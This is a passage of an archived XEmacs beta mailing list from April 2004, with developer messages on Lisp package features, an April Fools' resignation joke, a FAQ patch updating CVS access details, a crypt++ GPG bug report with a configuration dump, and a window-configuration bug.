4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <16486.52077.880869.698025@montanaro.dyndns.org> <4qs7mgb4.fsf_-_@smtpmail.t-online.de> Organization: The XEmacs Project From: Adrian Aichner Date: Thu, 01 Apr 2004 21:05:22 +0200 Message-ID: <7jwzbjt9.fsf@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: E4KCU+ZCwewfInzdCo3TomrOYTe2x6iZ0eA-UJaiSay5rNgFamG68T X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Norbert" == Norbert Koch writes: Norbert> Adrian Aichner writes: >> I think the best fix would be limited to release of a new xemacs-devel >> package. Norbert> Would a pre-release suffice for a while or do you need it to get Norbert> "pushed through" into the open (it's no big deal, I just want to Norbert> know the time frame)? Hi Norbert, I'm perfectly happy with the xemacs-devel pre-release you put out. Oh, I just found profile.el does not provide itself. Shouldn't it? Adrian Norbert> Thanks, Norbert> norbert. -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Thu Apr 1 14:33:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31JX6s23200; Thu, 1 Apr 2004 14:33:06 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31JWaC23093 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 14:32:36 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31JWZ923082 for turnbull@tux.org; Thu, 1 Apr 2004 14:32:35 -0500 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i31JWYs23078 for ; Thu, 1 Apr 2004 14:32:34 -0500 Received: (qmail 29405 invoked from network); 1 Apr 2004 21:32:33 +0200 X-Remote-IP: 213.191.128.11 Received: from mx.iskon.hr (qmailr@213.191.128.11) by mxout2.iskon.hr with SMTP; 1 Apr 2004 21:32:33 +0200 Received: (qmail 23062 invoked from network); 1 Apr 2004 21:32:32 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 1 Apr 2004 21:32:32 +0200 To: Adrian Aichner Cc: xemacs-beta@xemacs.org Subject: Re: undefined macro References: <16486.52077.880869.698025@montanaro.dyndns.org> <4qs7mgb4.fsf_-_@smtpmail.t-online.de> <7jwzbjt9.fsf@smtpmail.t-online.de> From: Hrvoje Niksic Date: Thu, 01 Apr 2004 21:33:07 +0200 In-Reply-To: <7jwzbjt9.fsf@smtpmail.t-online.de> (Adrian Aichner's message of "Thu, 01 Apr 2004 21:05:22 +0200") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Adrian Aichner writes: > Oh, I just found profile.el does not provide itself. Shouldn't it? I'm not sure. Thanks to the magic of autoload, you can simply use its functionality and have it be automagically loaded on demand. There should be no need to `(require 'profile)' or something like that. Is there a reason why profile should provide a feature? From xemacs-beta-admin@xemacs.org Thu Apr 1 14:52:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31Jq6s28219; Thu, 1 Apr 2004 14:52:06 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31Jp8F28034 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 14:51:08 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31Jp7H28024 for turnbull@tux.org; Thu, 1 Apr 2004 14:51:07 -0500 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31Jp5s28017; Thu, 1 Apr 2004 14:51:05 -0500 Received: from sfwd01.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1B98DQ-0005Ny-00; Thu, 01 Apr 2004 21:51:04 +0200 Received: from D5DC120J.t-online.de (JOMM66Za8en9svFNEWGQPPw-Ulw1ZnfOGdj7s4aJArnbRGCt-GD2w2@[217.229.10.234]) by afwd01.sul.t-online.com with esmtp id 1B98DD-18QzhI0; Thu, 1 Apr 2004 21:50:51 +0200 To: Jerry James Cc: XEmacs Beta Subject: Re: Resignation X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Thu, 01 Apr 2004 21:51:55 +0200 In-Reply-To: (Jerry James's message of "Thu, 01 Apr 2004 10:50:23 -0600") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: JOMM66Za8en9svFNEWGQPPw-Ulw1ZnfOGdj7s4aJArnbRGCt-GD2w2 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> With regret, I must offer my resignation from the XEmacs Jerry> Review Board, and indeed from XEmacs development Jerry> altogether. I have decided to leave academia, and have Jerry> been interviewing at various places. I decided to accept a Jerry> position with Microsoft Research. I will be starting there Good try, Jerry :-) When I read Microsoft Research, my bell rung, and I cheered up again. Interestingly enough, GNU Emacs is trying the opposite approach of replacing MSWord by something one something probably not called RMSWord. They started with a brilliant marketing stunt of rebinding the M-g key to command `where-do-you-want-to-go-today'. See http://mail.gnu.org/archive/html/emacs-devel/2004-03/msg00759.html if you think I'm kidding. Adrian Jerry> in early June. I will be working on embedding a Visual Jerry> Basic interpreter into Microsoft Word in order to give it Jerry> emacs-like extension capabilities. In another few years, Jerry> all emacs-like editors should be completely obsolete. In Jerry> fact, you all might want to consider joining me in making Jerry> Microsoft Word the next-generation editor. If you choose Jerry> otherwise, I still wish you well and good fortune in your Jerry> work on XEmacs. Jerry> Sincerely (in fact, I've never been so sincere in my entire life), Jerry> -- Jerry> Jerry James, who notes that some people may not understand the Jerry> connection between this message and the date -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Thu Apr 1 17:44:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31Mi1s06598; Thu, 1 Apr 2004 17:44:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31MhFQ06370 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 17:43:15 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31MhCQ06350 for turnbull@tux.org; Thu, 1 Apr 2004 17:43:12 -0500 Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31MhAs06331; Thu, 1 Apr 2004 17:43:10 -0500 Received: from sfwd01.aul.t-online.de by mailout04.sul.t-online.com with smtp id 1B9Atw-0003Gl-00; Fri, 02 Apr 2004 00:43:08 +0200 Received: from D5DC120J.t-online.de (SOU5O2ZSoeEyf-zfP85tGjCPs-W7E5Fji0n1-LS2vUiQseptm45eot@[217.229.10.234]) by afwd01.sul.t-online.com with esmtp id 1B9Ato-0eTlNQ0; Fri, 2 Apr 2004 00:43:00 +0200 To: Jari Aalto Cc: Subject: Re: folding.el -- Please forward bug messages ASAP (I'm back) X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Fri, 02 Apr 2004 00:44:03 +0200 In-Reply-To: <7jx0iob7.fsf@blue.sea.net> (Jari Aalto's message of "Thu, 01 Apr 2004 01:34:04 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: SOU5O2ZSoeEyf-zfP85tGjCPs-W7E5Fji0n1-LS2vUiQseptm45eot X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jari" == Jari Aalto writes: Jari> By Accident I happened to pop into page Jari> http://list-archive.xemacs.org/xemacs-beta/200310/msg00213.html Jari> Where there was several bugs mentioned in folding. Could someone at Jari> give me a briefing and point me to the right directions what bugs Jari> possibly are waiting for me to get my hands in the mud. Jari> I regret if any of you haven't reached me through my standard email Jari> address (it's always been the same). Due to increasing complexity of Jari> events (I used to receive some 50+ mailing lists before I had to move Jari> to dial-up) like spam attacks and my account hijacking compbined with Jari> Windoes/Cygwin configuration limitation etc. have hindered my Jari> abilities to receive or read mail as I used to. Welcome back, Jari! I'm one of those who have tried to reach you via email many times. Would be great if you could apply this patch before your next posting of "Emacs references and faqs" It brings ftp and cvs information for the XEmacs project up-to-date. Thanks in advance, Adrian cd c:\Users\AichnerAd\ diff -u Emacs_references_and_faqs-7.txt.orig Emacs_references_and_faqs-7.txt Compilation started at Fri Apr 02 00:38:21 2004 +0200 (W. Europe Daylight Time) --- Emacs_references_and_faqs-7.txt.orig 2004-03-13 11:10:50.000000000 +0100 +++ Emacs_references_and_faqs-7.txt 2004-04-02 00:37:30.000000000 +0200 @@ -1055,8 +1055,8 @@ o _Homepage_ http://www.xemacs.org/ Mirror sites http://www.xemacs.org/Download/ - Ftp area ftp://ftp.xemacs.org/pub/xemacs/packages/ - CVS information at http://cvs.xemacs.org/#committers + Ftp area ftp://ftp.xemacs.org/pub/xemacs/ + CVS information at http://www.xemacs.org/Develop/cvsaccess.html o XEmacs _betas_ ftp://ftp.xemacs.org/pub/xemacs/beta/ o XEmacs _FAQ_ http://www.xemacs.org/faq/xemacs-faq.html @@ -1076,8 +1076,8 @@ o NT Win32 XEmacs versions (=> See Win32 Emacs section) o _CVS_ access - cvs -z3 -d :pserver:xemacs@cvs.xemacs.org:/usr/CVSroot checkout \ - -d xemacs-21.2 -r release-21-2 xemacs + cvs -z3 -d :pserver:cvs@cvs.xemacs.org:/pack/xemacscvs checkout \ + -d xemacs-21.5 xemacs o You can Upload to ftp://ftp.xemacs.org/xemacs/beta/incoming/ and use the Lisp Packaging system with: @@ -1383,9 +1383,9 @@ would put too much burden on the small xemacs CVS server. http://cvs.xemacs.org/ - cvs -d :pserver:xemacs@cvs.xemacs.org:/usr/CVSroot login - password: zawinski - cvs -f -z3 -d :pserver:xemacs@cvs.xemacs.org:/usr/CVSroot checkout xemacs-packages + cvs -d :pserver:cvs@cvs.xemacs.org:/pack/xemacscvs login + password: cvs + cvs -z3 -d :pserver:cvs@cvs.xemacs.org:/pack/xemacscvs checkout -d xemacs-21.5 xemacs 3.2.3 Tips for debugging Compilation exited abnormally with code 1 at Fri Apr 02 00:38:23 Jari> Recently I've purchased DSL finally when lesser prices have made it Jari> possible. I'm in a process of setting up Home Linux subnet network Jari> with my own SMTP server, so te spam issue will be dealt with quickly Jari> with bogofilters and spamassassin and dnsbl when I get them Jari> configured. Jari> So, where do I start :-) Jari> Jari -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Thu Apr 1 20:51:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i321p2s17936; Thu, 1 Apr 2004 20:51:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i321o7D17796 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 20:50:07 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i321o5B17786 for turnbull@tux.org; Thu, 1 Apr 2004 20:50:05 -0500 Received: from f7.net (consort.superb.net [209.61.216.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i321o3s17781; Thu, 1 Apr 2004 20:50:03 -0500 Received: (from karl@localhost) by f7.net (8.11.7-20030920/8.11.7) id i321o1v26547; Thu, 1 Apr 2004 20:50:01 -0500 Date: Thu, 1 Apr 2004 20:50:01 -0500 Message-Id: <200404020150.i321o1v26547@f7.net> From: karl@freefriends.org (Karl Berry) To: adrian@xemacs.org, xemacs-beta@xemacs.org CC: johan.nyberg@tsl.uu.se Subject: [johan.nyberg@tsl.uu.se: crypt++ message: gpg: packet with S2K 3 too short] X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I received this bug report regarding crypt++.el, but unfortunately don't know how to help; ironically, I've never used the encryption/decryption features of crypt++, and don't use XEmacs either. Can anyone help? (Adrian, I sent Johan your 'binary suggestion from a few weeks ago.) It would really make sense for some person knowledgeable about XEmacs to take over crypt++, since XEmacs actually loads it. Almost all the bug reports I get about it (not that there are that many) are from XEmacs users. Please ... ? Thanks, karl Date: Thu, 1 Apr 2004 16:00:41 +0200 From: Johan Nyberg To: kb@cs.umb.edu Subject: crypt++ message: gpg: packet with S2K 3 too short --text follows this line-- Yo! Karl, Decrypting a file a.txt.gpg that was encrypted by the shell command $ gpg -se -r nyberg file.txt works without problems by using xemacs and crypt++. But I cannot get encrypting in xemacs using crypt++ to work. When I save the file from xemacs, and then try to decrypt it from the shell I get this error: $ gpg file.txt.gpg gpg: packet with S2K 3 too short If I do the same on the original encrypted file (that is the one that was not saved from xemacs) decrypting works without any problems. I am probably doing something stupidly wrong and hope you can help me with this problem... Johan Nyberg ------ Emacs: XEmacs 21.4 (patch 14) "Reasonable Discussion" [Lucid] (i386-mandrake-linux) of Mon Jan 26 2004 on ke.mandrakesoft.com Package: crypt++.el 2.92 current state: ============== (setq shell-file-name "/bin/bash" load-path '("/usr/share/xemacs/" "/usr/share/xemacs/site-lisp/" "/usr/share/xemacs/xemacs-packages/" "//usr/share/xemacs/xemacs-packages/lisp/" "//usr/share/xemacs/xemacs-packages/lisp/ada/" "//usr/share/xemacs/xemacs-packages/lisp/apel/" "//usr/share/xemacs/xemacs-packages/lisp/auctex/" "//usr/share/xemacs/xemacs-packages/lisp/bbdb/" "//usr/share/xemacs/xemacs-packages/lisp/build/" "//usr/share/xemacs/xemacs-packages/lisp/c-support/" "//usr/share/xemacs/xemacs-packages/lisp/calc/" "//usr/share/xemacs/xemacs-packages/lisp/calendar/" "//usr/share/xemacs/xemacs-packages/lisp/cc-mode/" "//usr/share/xemacs/xemacs-packages/lisp/clearcase/" "//usr/share/xemacs/xemacs-packages/lisp/cookie/" "//usr/share/xemacs/xemacs-packages/lisp/crisp/" "//usr/share/xemacs/xemacs-packages/lisp/debug/" "//usr/share/xemacs/xemacs-packages/lisp/dictionary/" "//usr/share/xemacs/xemacs-packages/lisp/dired/" "//usr/share/xemacs/xemacs-packages/lisp/docbookide/" "//usr/share/xemacs/xemacs-packages/lisp/ecb/" "//usr/share/xemacs/xemacs-packages/lisp/ecrypto/" "//usr/share/xemacs/xemacs-packages/lisp/edebug/" "//usr/share/xemacs/xemacs-packages/lisp/ediff/" "//usr/share/xemacs/xemacs-packages/lisp/edit-utils/" "//usr/share/xemacs/xemacs-packages/lisp/edt/" "//usr/share/xemacs/xemacs-packages/lisp/efs/" "//usr/share/xemacs/xemacs-packages/lisp/eieio/" "//usr/share/xemacs/xemacs-packages/lisp/elib/" "//usr/share/xemacs/xemacs-packages/lisp/emerge/" "//usr/share/xemacs/xemacs-packages/lisp/eshell/" "//usr/share/xemacs/xemacs-packages/lisp/ess/" "//usr/share/xemacs/xemacs-packages/lisp/eterm/" "//usr/share/xemacs/xemacs-packages/lisp/eudc/" "//usr/share/xemacs/xemacs-packages/lisp/footnote/" "//usr/share/xemacs/xemacs-packages/lisp/forms/" "//usr/share/xemacs/xemacs-packages/lisp/fortran-modes/" "//usr/share/xemacs/xemacs-packages/lisp/frame-icon/" "//usr/share/xemacs/xemacs-packages/lisp/fsf-compat/" "//usr/share/xemacs/xemacs-packages/lisp/games/" "//usr/share/xemacs/xemacs-packages/lisp/general-docs/" "//usr/share/xemacs/xemacs-packages/lisp/gnats/" "//usr/share/xemacs/xemacs-packages/lisp/gnus/" "//usr/share/xemacs/xemacs-packages/lisp/haskell-mode/" "//usr/share/xemacs/xemacs-packages/lisp/hm--html-menus/" "//usr/share/xemacs/xemacs-packages/lisp/hyperbole/" "//usr/share/xemacs/xemacs-packages/lisp/ibuffer/" "//usr/share/xemacs/xemacs-packages/lisp/idlwave/" "//usr/share/xemacs/xemacs-packages/lisp/igrep/" "//usr/share/xemacs/xemacs-packages/lisp/ilisp/" "//usr/share/xemacs/xemacs-packages/lisp/ispell/" "//usr/share/xemacs/xemacs-packages/lisp/jde/" "//usr/share/xemacs/xemacs-packages/lisp/liece/" "//usr/share/xemacs/xemacs-packages/lisp/mail-lib/" "//usr/share/xemacs/xemacs-packages/lisp/mailcrypt/" "//usr/share/xemacs/xemacs-packages/lisp/mew/" "//usr/share/xemacs/xemacs-packages/lisp/mh-e/" "//usr/share/xemacs/xemacs-packages/lisp/mine/" "//usr/share/xemacs/xemacs-packages/lisp/misc-games/" "//usr/share/xemacs/xemacs-packages/lisp/mmm-mode/" "//usr/share/xemacs/xemacs-packages/lisp/net-utils/" "//usr/share/xemacs/xemacs-packages/lisp/ocaml/" "//usr/share/xemacs/xemacs-packages/lisp/oo-browser/" "//usr/share/xemacs/xemacs-packages/lisp/os-utils/" "//usr/share/xemacs/xemacs-packages/lisp/pc/" "//usr/share/xemacs/xemacs-packages/lisp/pcl-cvs/" "//usr/share/xemacs/xemacs-packages/lisp/pcomplete/" "//usr/share/xemacs/xemacs-packages/lisp/perl-modes/" "//usr/share/xemacs/xemacs-packages/lisp/pgg/" "//usr/share/xemacs/xemacs-packages/lisp/prog-modes/" "//usr/share/xemacs/xemacs-packages/lisp/ps-print/" "//usr/share/xemacs/xemacs-packages/lisp/psgml/" "//usr/share/xemacs/xemacs-packages/lisp/psgml-dtds/" "//usr/share/xemacs/xemacs-packages/lisp/python-modes/" "//usr/share/xemacs/xemacs-packages/lisp/reftex/" "//usr/share/xemacs/xemacs-packages/lisp/riece/" "//usr/share/xemacs/xemacs-packages/lisp/rmail/" "//usr/share/xemacs/xemacs-packages/lisp/ruby-modes/" "//usr/share/xemacs/xemacs-packages/lisp/sasl/" "//usr/share/xemacs/xemacs-packages/lisp/scheme/" "//usr/share/xemacs/xemacs-packages/lisp/semantic/" "//usr/share/xemacs/xemacs-packages/lisp/sgml/" "//usr/share/xemacs/xemacs-packages/lisp/sh-script/" "//usr/share/xemacs/xemacs-packages/lisp/sieve/" "//usr/share/xemacs/xemacs-packages/lisp/slider/" "//usr/share/xemacs/xemacs-packages/lisp/sml-mode/" "//usr/share/xemacs/xemacs-packages/lisp/sounds-au/" "//usr/share/xemacs/xemacs-packages/lisp/sounds-wav/" "//usr/share/xemacs/xemacs-packages/lisp/speedbar/" "//usr/share/xemacs/xemacs-packages/lisp/strokes/" "//usr/share/xemacs/xemacs-packages/lisp/supercite/" "//usr/share/xemacs/xemacs-packages/lisp/texinfo/" "//usr/share/xemacs/xemacs-packages/lisp/text-modes/" "//usr/share/xemacs/xemacs-packages/lisp/textools/" "//usr/share/xemacs/xemacs-packages/lisp/time/" "//usr/share/xemacs/xemacs-packages/lisp/tm/" "//usr/share/xemacs/xemacs-packages/lisp/tooltalk/" "//usr/share/xemacs/xemacs-packages/lisp/tpu/" "//usr/share/xemacs/xemacs-packages/lisp/tramp/" "//usr/share/xemacs/xemacs-packages/lisp/vc/" "//usr/share/xemacs/xemacs-packages/lisp/vc-cc/" "//usr/share/xemacs/xemacs-packages/lisp/vhdl/" "//usr/share/xemacs/xemacs-packages/lisp/view-process/" "//usr/share/xemacs/xemacs-packages/lisp/viper/" "//usr/share/xemacs/xemacs-packages/lisp/vm/" "//usr/share/xemacs/xemacs-packages/lisp/w3/" "//usr/share/xemacs/xemacs-packages/lisp/x-symbol/" "//usr/share/xemacs/xemacs-packages/lisp/xemacs-base/" "//usr/share/xemacs/xemacs-packages/lisp/xemacs-devel/" "//usr/share/xemacs/xemacs-packages/lisp/xslide/" "//usr/share/xemacs/xemacs-packages/lisp/xslt-process/" "//usr/share/xemacs/xemacs-packages/lisp/zenirc/" "//usr/share/xemacs-21.4.14/lisp/" "/usr/share/emacs/site-lisp") exec-path '("/usr/local/root/bin/" "/usr/local/cern/pro/bin/" "/usr/local/hhirf/" "/usr/local/rw_current/bin/" "/usr/java/j2sdk/bin/" "/usr/java/j2re/javaws/" "/usr/java/j2re/bin/" "/usr/local/mozilla/" "/usr/local/bin/" "/bin/" "/usr/bin/" "/usr/X11R6/bin/" "/usr/games/" "/home/nyberg/bin/" "//usr/share/xemacs/xemacs-packages/lib-src/" "//usr/lib/xemacs-21.4.14/i386-mandrake-linux/") crypt-encryption-type 'gpg crypt-encryption-file-extension "\\(\\.gpg\\)$" crypt-never-ever-decrypt nil crypt-auto-write-buffer-encrypted nil crypt-confirm-password t crypt-encrypted-disable-auto-save t crypt-auto-decode-buffer t crypt-auto-write-buffer nil crypt-query-if-interactive t crypt-no-extension-implies-plain t crypt-freeze-vs-fortran nil crypt-compact-vs-C++ nil crypt-ignored-filenames nil crypt-default-encoding "gzip" crypt-encoded-disable-auto-save t crypt-bind-insert-file nil crypt-auto-decode-insert nil crypt-encoding-alist '((compress "" nil "\\(\\.Z\\)$" "compress" "uncompress" nil nil "Compress" nil t nil) (gzip "‹" nil "\\(\\.g?z\\)$" "gzip" "gzip" "--quiet" "--decompress --quiet" "Gzip" nil t nil) (bzip "BZ0" nil "\\(\\.bz\\)$" "bzip" "bzip" "" "--decompress" "Bzip" nil t nil) (bzip2 "BZh" nil "\\(\\.bz2\\)$" "bzip2" "bzip2" "" "--decompress" "Bzip2" nil t nil) (freeze "ž\\|Ÿ" nil "\\(\\.F\\)$" "freeze" "freeze" "" "-d" "Freeze" nil nil nil) (compact "ÿ" nil "\\(\\.C\\)$" "compact" "uncompact" nil nil "Compact" "^Compression *:.*\n" nil nil) (dos "[^\n ]* \n" nil "\\(\\.DOS\\)$" crypt-unix-to-dos-region crypt-dos-to-unix-region nil nil "Dos" nil nil nil) (mac "[ -~]* [ -~]" nil "\\(\\.MAC\\)$" crypt-unix-to-mac-region crypt-mac-to-unix-region nil nil "Mac" nil nil nil) ) crypt-encryption-alist '((crypt "[ "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "crypt" "crypt" nil nil "Crypt" nil t nil) (des "[ "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "des" "des" ("-e" "-k") ("-d" "-k") "DES-CBC" nil t nil) (des-ecb "[ "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "des" "des" ("-e" "-b" "-k") ("-d" "-b" "-k") "DES-ECB" nil t nil) (pgp "[ "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "pgp" "pgp" ("+batchmode" "+verbose=0" "-c" "-f" "-z") ("+batchmode" "+verbose=0" "-f" "-z") "PGP" nil t nil) (pgp-pub "[ "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "pgp" "pgp" nil nil "PGP-PUB" nil t nil) (gpg "[ "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "gpg" "gpg" ("--batch" "--quiet" "-c" "-o" "-" "--passphrase-fd" "0") ("--batch" "--quiet" "-o" "-" "--passphrase-fd" "0") "GPG" nil t t) (mcrypt "[ "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "mcrypt" "mcrypt" ("-k") ("-d" "-k") "Rijndael-128" nil t nil) (rc4 "[ "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "openssl" "openssl" ("enc" "-rc4" "-e" "-k") ("enc" "-rc4" "-d" "-k") "RC4" nil t nil) ) ) From xemacs-beta-admin@xemacs.org Thu Apr 1 21:23:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i322N1s25275; Thu, 1 Apr 2004 21:23:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i322MUW25187 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 21:22:30 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i322MTX25175 for turnbull@tux.org; Thu, 1 Apr 2004 21:22:29 -0500 Received: from elvenbow.nc.kyushu-u.ac.jp (elvenbow.nc.kyushu-u.ac.jp [133.5.6.4]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i322Lus25090 for ; Thu, 1 Apr 2004 21:21:56 -0500 Received: from localhost (kasahara@elvenbow.nc.kyushu-u.ac.jp [127.0.0.1]) by elvenbow.nc.kyushu-u.ac.jp (8.12.10/8.12.10) with ESMTP id i322Lsqj038982 for ; Fri, 2 Apr 2004 11:21:54 +0900 (JST) (envelope-from kasahara@nc.kyushu-u.ac.jp) Date: Fri, 02 Apr 2004 11:21:54 +0900 (JST) Message-Id: <20040402.112154.846971284.kasahara@nc.kyushu-u.ac.jp> To: xemacs-beta@xemacs.org Subject: [21.5-b17] current/set-window-configuration incompatibility From: Yoshiaki Kasahara X-Fingerprint: CDA2 B6B6 6796 0DD3 9D80 2602 E909 4623 A15E A074 X-URL: http://www.nc.kyushu-u.ac.jp/~kasahara/ X-Mailer: Mew version 4.0.65 on XEmacs 21.5-b17 (chayote) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, I noticed that current/set-window-configuration behaviour of current 21.5-beta is not compatible with FSF Emacs nor older 21.5-beta (I checked b5). I didn't test 21.4. It seems that current 21.5-beta remembers the cursor position (point) of the current buffer with the configuration and restores it by set-window-configuration. The cursor is moved to an unexpected point and sometimes it causes a problem with some software. The document of current-window-configuration says: An exception is made for point in the current buffer: its value is -not- saved. But it is not true now.... -- Yoshiaki Kasahara Computing and Communications Center, Kyushu University kasahara@nc.kyushu-u.ac.jp From xemacs-beta-admin@xemacs.org Thu Apr 1 